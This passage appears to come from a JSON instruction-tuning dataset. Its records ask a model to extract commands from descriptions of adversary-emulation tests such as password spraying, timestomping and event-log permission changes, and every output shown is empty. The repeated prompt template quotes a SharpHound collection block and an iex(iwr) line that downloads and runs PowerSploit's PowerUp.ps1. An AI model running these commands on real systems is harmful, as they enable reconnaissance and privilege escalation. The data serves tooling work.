Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the \"CustomSD\" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.\nUpon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as \"Get-EventLog\" or \"wevtutil\".", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Spawns a powershell.exe process as a child of the current process.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.\nThe binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.\nWithout being owned by root, the binary can set the UID to 0.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Attempt to brute force all Active Directory domain users with a single password (called \"password spraying\") on a domain controller, via LDAP, with NTLM or Kerberos\n\nPrerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Stomps on the access timestamp of a file\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Adds a command to the .bash_profile file of the current user\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 